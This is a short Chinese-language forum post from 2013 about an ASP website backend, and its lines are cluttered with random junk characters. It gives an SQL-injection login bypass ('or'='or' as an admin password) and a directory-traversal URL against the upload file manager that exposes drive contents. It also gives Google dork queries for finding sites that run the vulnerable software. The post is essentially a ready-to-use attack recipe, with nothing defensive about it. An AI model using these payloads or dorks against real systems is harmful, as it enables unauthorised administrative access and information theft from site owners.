后台万能密码 'or'='or'. }6 u/ ?8 H, F- \' J2 D) N
6 q! X! b$ y/ a3 Y
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
; l+ ]$ Q7 L+ S9 T# nadmin/uploadfile.asp?currentFolder=/upfiles/../
+ Y% x0 f( }5 G
0 @# F' b! @9 L0 c" R漏洞证明：: g2 y z7 ~ F/ o: x
+ K6 q6 o6 p! j2 p+ B7 D谷歌：inurl:type.asp?id=1 新闻中心
/ e% b* o+ b9 L w: F$ O) s' L或者 ：inurl:download_ok.asp?4 w7 P2 C9 a" V+ U
8 g |! G+ ?3 o! H6 o
|
发表于 2013-3-14 20:17:32
收藏
支持
反对